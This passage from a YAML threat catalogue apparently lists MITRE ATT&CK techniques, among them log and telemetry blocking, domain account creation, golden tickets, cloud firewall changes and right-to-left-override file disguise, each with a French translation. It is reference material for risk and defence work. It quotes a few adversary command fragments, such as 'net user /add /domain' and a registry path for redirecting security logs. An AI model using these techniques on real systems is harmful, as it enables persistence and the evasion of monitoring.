      \ by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
      \ <code>Set-EtwTraceProvider</code> cmdlet or by interfacing directly with the\
      \ Registry to make alterations.\n\nIn the case of network-based reporting of\
      \ indicators, an adversary may block traffic associated with reporting to prevent\
      \ central analysis. This may be accomplished by many means, such as stopping\
      \ a local process responsible for forwarding telemetry and/or creating a host-based\
      \ firewall rule to block traffic to specific hosts responsible for aggregating\
      \ events, such as security information and event management (SIEM) products.\n\
      \nIn Linux environments, adversaries may disable or reconfigure log processing\
      \ tools such as syslog or nxlog to inhibit detection and monitoring capabilities\
      \ to facilitate follow on behaviors (Citation: LemonDuck).\nhttps://attack.mitre.org/techniques/T1562/006"
    translations:
      fr:
        name: "Blocage de l\u2019indicateur"
        description: "Un adversaire peut tenter de bloquer la collecte et l\u2019\
          analyse d\u2019indicateurs ou d\u2019\xE9v\xE9nements g\xE9n\xE9ralement\
          \ captur\xE9s par les capteurs. Il peut s\u2019agir d\u2019une redirection\
          \ malveillante (Citation : Microsoft Lamin Septembre 2017) ou m\xEAme de\
          \ la d\xE9sactivation de capteurs bas\xE9s sur l\u2019h\xF4te, tels que\
          \ le suivi d\u2019\xE9v\xE9nements pour Windows (ETW) (R\xE9f\xE9rence :\
          \ Microsoft \xC0 propos du suivi d\u2019\xE9v\xE9nements 2018), en modifiant\
          \ les param\xE8tres qui contr\xF4lent la collecte et le flux de la t\xE9\
          l\xE9m\xE9trie d\u2019\xE9v\xE9nements. (Citation : Medium Event Tracing\
          \ Tampering 2018) Ces param\xE8tres peuvent \xEAtre stock\xE9s sur le syst\xE8\
          me dans des fichiers de configuration et/ou dans le registre, et \xEAtre\
          \ accessibles via des utilitaires d\u2019administration tels que [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ ou [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\
          \nPar exemple, les adversaires peuvent modifier la valeur 'File' dans <code>HKEY_LOCAL_MACHINE\\\
          SYSTEM\\CurrentControlSet\\Services\\EventLog\\Security</code> pour masquer\
          \ leurs actions malveillantes dans un fichier journal .evtx nouveau ou diff\xE9\
          rent. Cette action ne n\xE9cessite pas de red\xE9marrage du syst\xE8me et\
          \ prend effet imm\xE9diatement. (R\xE9f\xE9rence : disable_win_evt_logging)\
          \ \n\nL\u2019interruption ETW peut \xEAtre r\xE9alis\xE9e de plusieurs fa\xE7\
          ons, mais la plus directement en d\xE9finissant des conditions \xE0 l\u2019\
          aide de l\u2019applet de commande [PowerShell](https://attack.mitre.org/techniques/T1059/001)\
          \ <code>Set-EtwTraceProvider</code> ou en s\u2019interfa\xE7ant directement\
          \ avec le Registre pour apporter des modifications.\n\nDans le cas de la\
          \ g\xE9n\xE9ration de rapports d\u2019indicateurs bas\xE9e sur le r\xE9\
          seau, un adversaire peut bloquer le trafic associ\xE9 aux rapports pour\
          \ emp\xEAcher l\u2019analyse centrale. Cela peut se faire par de nombreux\
          \ moyens, tels que l\u2019arr\xEAt d\u2019un processus local responsable\
          \ du transfert des donn\xE9es de t\xE9l\xE9m\xE9trie et/ou la cr\xE9ation\
          \ d\u2019une r\xE8gle de pare-feu bas\xE9e sur l\u2019h\xF4te pour bloquer\
          \ le trafic vers des h\xF4tes sp\xE9cifiques responsables de l\u2019agr\xE9\
          gation des \xE9v\xE9nements, tels que les produits de gestion des informations\
          \ et des \xE9v\xE9nements de s\xE9curit\xE9 (SIEM).\n\nDans les environnements\
          \ Linux, les adversaires peuvent d\xE9sactiver ou reconfigurer les outils\
          \ de traitement des journaux tels que syslog ou nxlog pour inhiber les capacit\xE9\
          s de d\xE9tection et de surveillance afin de faciliter les comportements\
          \ de suivi (Citation : LemonDuck).\nhttps://attack.mitre.org/techniques/T1562/006"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1136.002
    ref_id: T1136.002
    name: Domain Account
    description: 'Adversaries may create a domain account to maintain access to victim
      systems. Domain accounts are those managed by Active Directory Domain Services
      where access and permissions are configured across systems and services that
      are part of that domain. Domain accounts can cover user, administrator, and
      service accounts. With a sufficient level of access, the <code>net user /add
      /domain</code> command can be used to create a domain account.(Citation: Savill
      1999)


      Such accounts may be used to establish secondary credentialed access that do
      not require persistent remote access tools to be deployed on the system.

      https://attack.mitre.org/techniques/T1136/002'
    translations:
      fr:
        name: Compte de domaine
        description: "Les adversaires peuvent cr\xE9er un compte de domaine pour maintenir\
          \ l\u2019acc\xE8s aux syst\xE8mes des victimes. Les comptes de domaine sont\
          \ ceux g\xE9r\xE9s par les services de domaine Active Directory o\xF9 l\u2019\
          acc\xE8s et les autorisations sont configur\xE9s sur les syst\xE8mes et\
          \ services qui font partie de ce domaine. Les comptes de domaine peuvent\
          \ couvrir les comptes d\u2019utilisateur, d\u2019administrateur et de service.\
          \ Avec un niveau d\u2019acc\xE8s suffisant, la commande <code>net user /add\
          \ /domain</code> peut \xEAtre utilis\xE9e pour cr\xE9er un compte de domaine.\
          \ (R\xE9f\xE9rence : Savill 1999)\n\nCes comptes peuvent \xEAtre utilis\xE9\
          s pour \xE9tablir un acc\xE8s secondaire authentifi\xE9 qui ne n\xE9cessite\
          \ pas le d\xE9ploiement d\u2019outils d\u2019acc\xE8s \xE0 distance persistants\
          \ sur le syst\xE8me.\nhttps://attack.mitre.org/techniques/T1136/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1589.003
    ref_id: T1589.003
    name: Employee Names
    description: 'Adversaries may gather employee names that can be used during targeting.
      Employee names be used to derive email addresses as well as to help guide other
      reconnaissance efforts and/or craft more-believable lures.


      Adversaries may easily gather employee names, since they may be readily available
      and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001)
      or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:
      OPM Leak) Gathering this information may reveal opportunities for other forms
      of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing
      operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)),
      and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)
      or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

      https://attack.mitre.org/techniques/T1589/003'
    translations:
      fr:
        name: "Noms des employ\xE9s"
        description: "Les adversaires peuvent recueillir les noms des employ\xE9s\
          \ qui peuvent \xEAtre utilis\xE9s lors du ciblage. Les noms des employ\xE9\
          s doivent \xEAtre utilis\xE9s pour d\xE9river des adresses e-mail ainsi\
          \ que pour aider \xE0 guider d\u2019autres efforts de reconnaissance et/ou\
          \ \xE0 cr\xE9er des leurres plus cr\xE9dibles.\n\nLes adversaires peuvent\
          \ facilement recueillir les noms des employ\xE9s, car ils peuvent \xEAtre\
          \ facilement accessibles et expos\xE9s par le biais d\u2019articles en ligne\
          \ ou d\u2019autres ensembles de donn\xE9es accessibles (p. ex., [M\xE9dias\
          \ sociaux](https://attack.mitre.org/techniques/T1593/001) ou [Sites Web\
          \ appartenant \xE0 des victimes de recherche](https://attack.mitre.org/techniques/T1594)).\
          \ (Citation : Fuite OPM) La collecte de ces informations peut r\xE9v\xE9\
          ler des opportunit\xE9s pour d\u2019autres formes de reconnaissance (ex\
          \ : [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Phishing pour obtenir des informations](https://attack.mitre.org/techniques/T1598)),\
          \ l\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [Comptes\
          \ compromis](https://attack.mitre.org/techniques/T1586)), et/ou l\u2019\
          acc\xE8s initial (ex : [Phishing](https://attack.mitre.org/techniques/T1566)\
          \ ou [Comptes valides]( https://attack.mitre.org/techniques/T1078)).\nhttps://attack.mitre.org/techniques/T1589/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1482
    ref_id: T1482
    name: Domain Trust Discovery
    description: 'Adversaries may attempt to gather information on domain trust relationships
      that may be used to identify lateral movement opportunities in Windows multi-domain/forest
      environments. Domain trusts provide a mechanism for a domain to allow access
      to resources based on the authentication procedures of another domain.(Citation:
      Microsoft Trusts) Domain trusts allow the users of the trusted domain to access
      resources in the trusting domain. The information discovered may help the adversary
      conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005),
      [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation:
      AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts
      can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call, .NET
      methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359)
      is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft
      Operation Wilysupply)

      https://attack.mitre.org/techniques/T1482'
    translations:
      fr:
        name: "D\xE9couverte de l\u2019approbation de domaine"
        description: "Les adversaires peuvent tenter de recueillir des informations\
          \ sur les relations d\u2019approbation de domaine qui peuvent \xEAtre utilis\xE9\
          es pour identifier les opportunit\xE9s de mouvement lat\xE9ral dans les\
          \ environnements multidomaines/forestiers Windows. Les approbations de domaine\
          \ fournissent un m\xE9canisme permettant \xE0 un domaine d\u2019autoriser\
          \ l\u2019acc\xE8s aux ressources en fonction des proc\xE9dures d\u2019authentification\
          \ d\u2019un autre domaine. (Citation : Microsoft Trusts) Les approbations\
          \ de domaine permettent aux utilisateurs du domaine approuv\xE9 d\u2019\
          acc\xE9der aux ressources du domaine d\u2019approbation. Les informations\
          \ d\xE9couvertes peuvent aider l\u2019adversaire \xE0 effectuer [Injection\
          \ d\u2019historique SID](https://attack.mitre.org/techniques/T1134/005),\
          \ [Passer le billet](https://attack.mitre.org/techniques/T1550/003) et [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).\
          \ (Citation : AdSecurity Forging Trust Tickets)(Citation : Harmj0y Domain\
          \ Trusts) Les approbations de domaine peuvent \xEAtre \xE9num\xE9r\xE9es\
          \ \xE0 l\u2019aide de l\u2019appel d\u2019API Win32 \xAB DSEnumerateDomainTrusts()\
          \ \xBB, des m\xE9thodes .NET et LDAP. (Citation : Harmj0y Domain Trusts)\
          \ L\u2019utilitaire Windows [Nltest](https://attack.mitre.org/software/S0359)\
          \ est connu pour \xEAtre utilis\xE9 par des adversaires pour \xE9num\xE9\
          rer les approbations de domaine. (Citation : Op\xE9ration Microsoft Wilysupply)\n\
          https://attack.mitre.org/techniques/T1482"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1558.001
    ref_id: T1558.001
    name: Golden Ticket
    description: "Adversaries who have the KRBTGT account password hash may forge\
      \ Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation:\
      \ AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate\
      \ authentication material for any account in Active Directory.(Citation: CERT-EU\
      \ Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then\
      \ able to request ticket granting service (TGS) tickets, which enable access\
      \ to specific resources. Golden tickets require adversaries to interact with\
      \ the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity\
      \ Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers\
      \ that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution\
      \ Center (KDC) service account and is responsible for encrypting and signing\
      \ all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT\
      \ password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)\
      \ and privileged access to a domain controller.\nhttps://attack.mitre.org/techniques/T1558/001"
    translations:
      fr:
        name: "Billet d\u2019or"
        description: "Les adversaires qui disposent du hachage de mot de passe du\
          \ compte KRBTGT peuvent falsifier des tickets d\u2019octroi de tickets Kerberos\
          \ (TGT), \xE9galement appel\xE9s tickets d\u2019or. (Citation : AdSecurity\
          \ Kerberos GT ao\xFBt 2015) Les tickets d\u2019or permettent aux adversaires\
          \ de g\xE9n\xE9rer du mat\xE9riel d\u2019authentification pour n\u2019importe\
          \ quel compte dans Active Directory. (Citation\_: CERT-EU Golden Ticket\
          \ Protection) \n\n\xC0 l\u2019aide d\u2019un ticket d\u2019or, les adversaires\
          \ peuvent ensuite demander des tickets TGS (Ticket granting Service), qui\
          \ permettent d\u2019acc\xE9der \xE0 des ressources sp\xE9cifiques. Les tickets\
          \ d\u2019or n\xE9cessitent que les adversaires interagissent avec le Key\
          \ Distribution Center (KDC) afin d\u2019obtenir le TGS. (Citation : ADSecurity\
          \ d\xE9tecte les tickets falsifi\xE9s)\n\nLe service KDC s\u2019ex\xE9cute\
          \ enti\xE8rement sur des contr\xF4leurs de domaine qui font partie d\u2019\
          un domaine Active Directory. KRBTGT est le compte de service du centre de\
          \ distribution de cl\xE9s Kerberos (KDC) et est responsable du chiffrement\
          \ et de la signature de tous les tickets Kerberos. (R\xE9f\xE9rence : ADSecurity\
          \ Kerberos et KRBTGT) Le hachage du mot de passe KRBTGT peut \xEAtre obtenu\
          \ \xE0 l\u2019aide de [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)\
          \ et d\u2019un acc\xE8s privil\xE9gi\xE9 \xE0 un contr\xF4leur de domaine.\n\
          https://attack.mitre.org/techniques/T1558/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1020
    ref_id: T1020
    name: Automated Exfiltration
    description: "Adversaries may exfiltrate data, such as sensitive documents, through\
      \ the use of automated processing after being gathered during Collection.(Citation:\
      \ ESET Gamaredon June 2020) \n\nWhen automated exfiltration is used, other exfiltration\
      \ techniques likely apply as well to transfer the information out of the network,\
      \ such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041)\
      \ and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).\n\
      https://attack.mitre.org/techniques/T1020"
    translations:
      fr:
        name: "Exfiltration automatis\xE9e"
        description: "Les adversaires peuvent exfiltrer des donn\xE9es, telles que\
          \ des documents sensibles, par le biais d\u2019un traitement automatis\xE9\
          \ apr\xE8s avoir \xE9t\xE9 collect\xE9es lors de la collecte. (Citation\
          \ : ESET Gamaredon juin 2020) \n\nLorsque l\u2019exfiltration automatis\xE9\
          e est utilis\xE9e, d\u2019autres techniques d\u2019exfiltration s\u2019\
          appliquent probablement \xE9galement pour transf\xE9rer les informations\
          \ hors du r\xE9seau, telles que [Exfiltration sur le canal C2](https://attack.mitre.org/techniques/T1041)\
          \ et [Exfiltration sur un protocole alternatif](https://attack.mitre.org/techniques/T1048).\n\
          https://attack.mitre.org/techniques/T1020"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1592.004
    ref_id: T1592.004
    name: Client Configurations
    description: 'Adversaries may gather information about the victim''s client configurations
      that can be used during targeting. Information about client configurations may
      include a variety of details and settings, including operating system/version,
      virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.


      Adversaries may gather this information in various ways, such as direct collection
      actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex:
      listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).
      Adversaries may also compromise sites then include malicious content designed
      to collect host information from visitors.(Citation: ATT ScanBox) Information
      about the client configurations may also be exposed to adversaries via online
      or other accessible data sets (ex: job postings, network maps, assessment reports,
      resumes, or purchase invoices). Gathering this information may reveal opportunities
      for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)
      or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)),
      establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587)
      or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or
      initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195)
      or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

      https://attack.mitre.org/techniques/T1592/004'
    translations:
      fr:
        name: Client Configurations
        description: "Les adversaires peuvent recueillir des informations sur les\
          \ configurations du client de la victime qui peuvent \xEAtre utilis\xE9\
          es lors du ciblage. Les informations sur les configurations du client peuvent\
          \ inclure une vari\xE9t\xE9 de d\xE9tails et de param\xE8tres, notamment\
          \ le syst\xE8me d\u2019exploitation/la version, la virtualisation, l\u2019\
          architecture (par exemple : 32 ou 64 bits), la langue et/ou le fuseau horaire.\n\
          \nLes adversaires peuvent collecter ces informations de diff\xE9rentes mani\xE8\
          res, par exemple par le biais d\u2019actions de collecte directes via [Analyse\
          \ active](https://attack.mitre.org/techniques/T1595) (par exemple, ports\
          \ d\u2019\xE9coute, banni\xE8res de serveur, cha\xEEnes d\u2019agent utilisateur)\
          \ ou [Hame\xE7onnage pour obtenir des informations](https://attack.mitre.org/techniques/T1598).\
          \ Les adversaires peuvent \xE9galement compromettre les sites et inclure\
          \ du contenu malveillant con\xE7u pour collecter des informations sur l\u2019\
          h\xF4te aupr\xE8s des visiteurs. (Citation : ATT ScanBox) Les informations\
          \ sur les configurations du client peuvent \xE9galement \xEAtre expos\xE9\
          es \xE0 des adversaires via des ensembles de donn\xE9es en ligne ou d\u2019\
          autres ensembles de donn\xE9es accessibles (par exemple, des offres d\u2019\
          emploi, des cartes de r\xE9seau, des rapports d\u2019\xE9valuation, des\
          \ CV ou des factures d\u2019achat). La collecte de ces informations peut\
          \ r\xE9v\xE9ler des possibilit\xE9s pour d\u2019autres formes de reconnaissance\
          \ (ex : [Recherche de sites Web/domaines ouverts](https://attack.mitre.org/techniques/T1593)\
          \ ou [Recherche de bases de donn\xE9es techniques ouvertes](https://attack.mitre.org/techniques/T1596)),\
          \ d\u2019\xE9tablissement de ressources op\xE9rationnelles (ex : [D\xE9\
          velopper des capacit\xE9s](https://attack.mitre.org/techniques/T1587) ou\
          \ [Obtenir des capacit\xE9s](https://attack.mitre.org/techniques/T1588)),\
          \ et/ou d\u2019acc\xE8s initial (ex : [Cha\xEEne d\u2019approvisionnement\
          \ compromis](https://attack.mitre.org/techniques/T1195) ou [services \xE0\
          \ distance externes](https://attack.mitre.org/techniques/T1133)).\nhttps://attack.mitre.org/techniques/T1592/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1562.007
    ref_id: T1562.007
    name: Disable or Modify Cloud Firewall
    description: "Adversaries may disable or modify a firewall within a cloud environment\
      \ to bypass controls that limit access to cloud resources. Cloud firewalls are\
      \ separate from system firewalls that are described in [Disable or Modify System\
      \ Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments\
      \ typically utilize restrictive security groups and firewall rules that only\
      \ allow network activity from trusted IP addresses via expected ports and protocols.\
      \ An adversary with appropriate permissions may introduce new firewall rules\
      \ or policies to allow access into a victim cloud environment and/or move laterally\
      \ from the cloud control plane to the data plane. For example, an adversary\
      \ may use a script or utility that creates new ingress rules in existing security\
      \ groups (or creates new security groups entirely) to allow any TCP/IP connectivity\
      \ to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud\
      \ Compute Credentials 2022) They may also remove networking limitations to support\
      \ traffic associated with malicious activity (such as cryptomining).(Citation:\
      \ Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute\
      \ Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary\
      \ C2 communications, lateral movement, and/or data exfiltration that would otherwise\
      \ not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110)\
      \ or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).\n\
      https://attack.mitre.org/techniques/T1562/007"
    translations:
      fr:
        name: "D\xE9sactiver ou modifier le pare-feu cloud"
        description: "Les adversaires peuvent d\xE9sactiver ou modifier un pare-feu\
          \ dans un environnement cloud pour contourner les contr\xF4les qui limitent\
          \ l\u2019acc\xE8s aux ressources cloud. Les pare-feu cloud sont distincts\
          \ des pare-feu syst\xE8me d\xE9crits dans [D\xE9sactiver ou modifier le\
          \ pare-feu syst\xE8me](https://attack.mitre.org/techniques/T1562/004). \n\
          \nLes environnements cloud utilisent g\xE9n\xE9ralement des groupes de s\xE9\
          curit\xE9 restrictifs et des r\xE8gles de pare-feu qui n\u2019autorisent\
          \ l\u2019activit\xE9 r\xE9seau qu\u2019\xE0 partir d\u2019adresses IP de\
          \ confiance via les ports et protocoles attendus. Un adversaire disposant\
          \ des autorisations appropri\xE9es peut introduire de nouvelles r\xE8gles\
          \ ou politiques de pare-feu pour autoriser l\u2019acc\xE8s \xE0 un environnement\
          \ cloud victime et/ou se d\xE9placer lat\xE9ralement du plan de contr\xF4\
          le du cloud au plan de donn\xE9es. Par exemple, un adversaire peut utiliser\
          \ un script ou un utilitaire qui cr\xE9e de nouvelles r\xE8gles d\u2019\
          entr\xE9e dans des groupes de s\xE9curit\xE9 existants (ou cr\xE9e enti\xE8\
          rement de nouveaux groupes de s\xE9curit\xE9) pour autoriser toute connectivit\xE9\
          \ TCP/IP \xE0 une instance h\xE9berg\xE9e dans le cloud. (Citation : Palo\
          \ Alto Unit 42 Compromised Cloud Compute Credentials 2022) Ils peuvent \xE9\
          galement supprimer les limitations de r\xE9seau pour prendre en charge le\
          \ trafic associ\xE9 \xE0 des activit\xE9s malveillantes (telles que le minage\
          \ de cryptomonnaie). (Citation : Expulser IO Evil dans AWS)(Citation : Palo\
          \ Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nLa modification\
          \ ou la d\xE9sactivation d\u2019un pare-feu cloud peut permettre des communications\
          \ C2 adverses, des mouvements lat\xE9raux et/ou l\u2019exfiltration de donn\xE9\
          es qui ne seraient pas autoris\xE9s autrement. Il peut \xE9galement \xEA\
          tre utilis\xE9 pour ouvrir des ressources pour la [Force brute](https://attack.mitre.org/techniques/T1110)\
          \ ou le [D\xE9ni de service du point de terminaison](https://attack.mitre.org/techniques/T1499).\n\
          https://attack.mitre.org/techniques/T1562/007"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1036.002
    ref_id: T1036.002
    name: Right-to-Left Override
    description: 'Adversaries may abuse the right-to-left override (RTLO or RLO) character
      (U+202E) to disguise a string and/or file name to make it appear benign. RTLO
      is a non-printing Unicode character that causes the text that follows it to
      be displayed in reverse. For example, a Windows screensaver executable named
      <code>March 25 \u202Excod.scr</code> will display as <code>March 25 rcs.docx</code>.
      A JavaScript file named <code>photo_high_re\u202Egnp.js</code> will be displayed
      as <code>photo_high_resj.png</code>.(Citation: Infosecinstitute RTLO Technique)


      Adversaries may abuse the RTLO character as a means of tricking a user into
      executing what they think is a benign file type. A common use of this technique
      is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious
      File](https://attack.mitre.org/techniques/T1204/002) since it can trick both
      end users and defenders if they are not aware of how their tools display and
      render the RTLO character. Use of the RTLO character has been seen in many targeted
      intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation:
      Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well,
      where regedit.exe displays the reversed characters but the command line tool
      reg.exe does not by default.

      https://attack.mitre.org/techniques/T1036/002'
    translations:
      fr:
        name: "Remplacement de droite \xE0 gauche"
        description: "Les adversaires peuvent abuser du caract\xE8re de remplacement\
          \ de droite \xE0 gauche (RTLO ou RLO) (U+202E) pour dissimuler une cha\xEE\
          ne et/ou un nom de fichier afin de le faire para\xEEtre inoffensif. RTLO\
          \ est un caract\xE8re Unicode non imprimable qui provoque l\u2019affichage\
          \ du texte qui le suit \xE0 l\u2019envers. Par exemple, un ex\xE9cutable\
          \ de l\u2019\xE9conomiseur d\u2019\xE9cran Windows nomm\xE9 <code>25 mars\
          \ \\u202Excod.scr s\u2019affichera</code> comme <code>25 mars rcs.docx</code>.\
          \ Un fichier JavaScript nomm\xE9 <code>photo_high_re\\u202Egnp.js</code>\
          \ s\u2019affichera sous <code>la forme photo_high_resj.png</code>. (Citation\
          \ : Infosecinstitute RTLO Technique)\n\nLes adversaires peuvent abuser du\
          \ caract\xE8re RTLO pour inciter un utilisateur \xE0 ex\xE9cuter ce qu\u2019\
          il pense \xEAtre un type de fichier inoffensif. Cette technique est couramment\
          \ utilis\xE9e avec [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious\
          \ File](https://attack.mitre.org/techniques/T1204/002), car elle peut tromper\
          \ \xE0 la fois les utilisateurs finaux et les d\xE9fenseurs s\u2019ils ne\
          \ sont pas conscients de la fa\xE7on dont leurs outils affichent et affichent\
          \ le caract\xE8re RTLO. L\u2019utilisation du caract\xE8re RTLO a \xE9t\xE9\
          \ observ\xE9e dans de nombreuses tentatives d\u2019intrusion cibl\xE9es\
          \ et activit\xE9s criminelles. (Citation : Trend Micro PPLAIDE RTLO)(R\xE9\
          f\xE9rence : Kaspersky RTLO Cyber Crime) RTLO peut \xE9galement \xEAtre\
          \ utilis\xE9 dans le registre Windows, o\xF9 regedit.exe affiche les caract\xE8\
          res invers\xE9s, mais pas l\u2019outil de ligne de commande reg.exe par\
          \ d\xE9faut.\nhttps://attack.mitre.org/techniques/T1036/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1588.001
    ref_id: T1588.001
    name: Malware
    description: 'Adversaries may buy, steal, or download malware that can be used
      during targeting. Malicious software can include payloads, droppers, post-compromise
      tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware
      to support their operations, obtaining a means for maintaining control of remote
      machines, evading defenses, and executing post-compromise behaviors.


      In addition to downloading free malware from the internet, adversaries may purchase
      these capabilities from third-party entities. Third-party entities can include
      technology companies that specialize in malware development, criminal marketplaces
      (including Malware-as-a-Service, or MaaS), or from individuals. In addition
      to purchasing malware, adversaries may steal and repurpose malware from third-party
      entities (including other adversaries).

      https://attack.mitre.org/techniques/T1588/001'
    translations:
      fr:
        name: Malware
        description: "Les adversaires peuvent acheter, voler ou t\xE9l\xE9charger\
          \ des logiciels malveillants qui peuvent \xEAtre utilis\xE9s lors du ciblage.\
          \ Les logiciels malveillants peuvent inclure des charges utiles, des droppers,\
          \ des outils de post-compromission, des portes d\xE9rob\xE9es, des packers\
          \ et des protocoles C2. Les adversaires peuvent acqu\xE9rir des logiciels\
          \ malveillants pour soutenir leurs op\xE9rations, obtenir un moyen de garder\
          \ le contr\xF4le des machines distantes, d\u2019\xE9chapper aux d\xE9fenses\
          \ et d\u2019ex\xE9cuter des comportements post-compromission.\n\nEn plus\
          \ de t\xE9l\xE9charger des logiciels malveillants gratuits sur Internet,\
          \ les adversaires peuvent acheter ces fonctionnalit\xE9s aupr\xE8s d\u2019\
          entit\xE9s tierces. Il peut s\u2019agir d\u2019entreprises technologiques\
          \ sp\xE9cialis\xE9es dans le d\xE9veloppement de logiciels malveillants,\
          \ de places de march\xE9 criminelles (y compris Malware-as-a-Service ou\
          \ MaaS) ou de particuliers. En plus d\u2019acheter des logiciels malveillants,\
          \ les adversaires peuvent voler et r\xE9utiliser des logiciels malveillants\
          \ aupr\xE8s d\u2019entit\xE9s tierces (y compris d\u2019autres adversaires).\n\
          https://attack.mitre.org/techniques/T1588/001"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1542.002
    ref_id: T1542.002
    name: Component Firmware
    description: 'Adversaries may modify component firmware to persist on systems.
      Some adversaries may employ sophisticated means to compromise computer components
      and install malicious firmware that will execute adversary code outside of the
      operating system and main system firmware or BIOS. This technique may be similar
      to [System Firmware](https://attack.mitre.org/techniques/T1542/001) but conducted
      upon other system components/devices that may not have the same capability or
      level of integrity checking.


      Malicious component firmware could provide both a persistent level of access
      to systems despite potential typical failures to maintain access and hard disk
      re-images, as well as a way to evade host software-based defenses and integrity
      checks.

      https://attack.mitre.org/techniques/T1542/002'
    translations:
      fr:
        name: Micrologiciel des composants
        description: "Les adversaires peuvent modifier le micrologiciel des composants\
          \ pour qu\u2019il persiste sur les syst\xE8mes. Certains adversaires peuvent\
          \ utiliser des moyens sophistiqu\xE9s pour compromettre les composants de\
          \ l\u2019ordinateur et installer un micrologiciel malveillant qui ex\xE9\
          cutera du code adverseur en dehors du syst\xE8me d\u2019exploitation et\
          \ du microprogramme ou du BIOS du syst\xE8me principal. Cette technique\
          \ peut \xEAtre similaire \xE0 celle du [Microprogramme syst\xE8me](https://attack.mitre.org/techniques/T1542/001),\
          \ mais appliqu\xE9e \xE0 d\u2019autres composants/p\xE9riph\xE9riques du\
          \ syst\xE8me qui peuvent ne pas avoir la m\xEAme capacit\xE9 ou le m\xEA\
          me niveau de v\xE9rification de l\u2019int\xE9grit\xE9.\n\nLes microprogrammes\
          \ de composants malveillants peuvent fournir \xE0 la fois un niveau d\u2019\
          acc\xE8s persistant aux syst\xE8mes malgr\xE9 les d\xE9faillances potentielles\
          \ typiques de maintien de l\u2019acc\xE8s et de r\xE9images du disque dur,\
          \ ainsi qu\u2019un moyen d\u2019\xE9chapper aux d\xE9fenses logicielles\
          \ de l\u2019h\xF4te et aux contr\xF4les d\u2019int\xE9grit\xE9.\nhttps://attack.mitre.org/techniques/T1542/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1070
    ref_id: T1070
    name: Indicator Removal
    description: "Adversaries may delete or modify artifacts generated within systems\
      \ to remove evidence of their presence or hinder defenses. Various artifacts\
      \ may be created by an adversary or something that can be attributed to an adversary\u2019\
      s actions. Typically these artifacts are used as defensive indicators related\
      \ to monitored events, such as strings from downloaded files, logs that are\
      \ generated from user actions, and other data analyzed by defenders. Location,\
      \ format, and type of artifact (such as command or login history) are often\
      \ specific to each platform.\n\nRemoval of these indicators may interfere with\
      \ event collection, reporting, or other processes used to detect intrusion activity.\
      \ This may compromise the integrity of security solutions by causing notable\
      \ events to go unreported. This activity may also impede forensic analysis and\
      \ incident response, due to lack of sufficient data to determine what occurred.\n\
      https://attack.mitre.org/techniques/T1070"
    translations:
      fr:
        name: "Retrait de l\u2019indicateur"
        description: "Les adversaires peuvent supprimer ou modifier les artefacts\
